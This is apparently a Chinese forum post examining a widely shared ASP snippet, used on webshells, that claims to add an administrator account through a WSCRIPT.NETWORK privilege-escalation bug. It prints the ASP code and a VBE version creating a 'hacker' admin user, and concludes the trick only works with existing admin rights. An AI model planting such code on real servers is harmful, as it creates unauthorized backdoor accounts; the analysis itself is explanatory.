| 关键词: 权限 NETWORK 代码 GetObject nbsp 对象 用户 set 管理员 WSCRIPT |
这个东东弄得沸沸扬扬,要是你还不知道的话就看看《添加超级用户的.asp代码》这文章吧。 作者也说了,“反正代码是对的,但是很少能成功,具体的看运气了”,偶也拿来在webshell上试了试,失败了。把容错语句去掉,看到错误原因是“权限不够”。今天没什么事,就来分析分析,说不定……嘿嘿。 他代码关键是这个:set lp=Server.CreateObject("WSCRIPT.NETWORK")oz="WinNT://"&lp.ComputerNameSet ob=GetObject(oz)Set oe=GetObject(oz&"/Administrators,group")Set od=ob.Create("user",username)od.SetPassword passwdod.SetInfooe.Add oz&"/"&username 无非是在asp中创建一个WSCRIPT.NETWORK对象,用这个对象添加用户提升为管理员。而按照他们的说法这是利用了.NETWORK对象本地权限提升漏洞(他们说这是MS没公布的)。嗯,那我把代码做成一个vbs脚本文件,拿到命令行下试试就知道了。test.vbe(vbe比vbs更好;vbs的运行受到诸多限制)--------------------------------------------set lp=CreateObject("WSCRIPT.NETWORK")oz="WinNT://"&lp.ComputerNameSet ob=GetObject(oz)Set oe=GetObject(oz&"/Administrators,group")Set od=ob.Create("user","hacker")od.SetPassword testod.SetInfooe.Add oz&"/"&"hacker"------------------------------------------- 在admin权限下生成了hacker用户;user权限执行文件报错:拒绝访问。看来还是权限不够,即是说不存在所谓的MS未公布的“.NETWORK对象本地权限提升漏洞”——至少我这个XP SP1上不存在。你也可以把上面的代码保存为vbe拿到user权限下面试试其他系统是否存在这个bug,不过既然这asp成功的很少可能也不会存在。 上回日光海岸告诉我如果IIS开了认证这个asp就可以。我在本地把IIS的匿名访问关闭了,这个脚本果然可以工作。不过此时实际上你的浏览是具有管理员权限的。想想明明是关了匿名访问,为什么没有弹出对话框让你输用户密码呢?呵呵,你在本地自然集成windows基本验证,此时我是管理员,当然那些asp也继承了admin权限。不知道作者是不是在这里出错了呢? 我认为这个传说是错的,欢迎指教。先说好了——不准打脸^_^ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|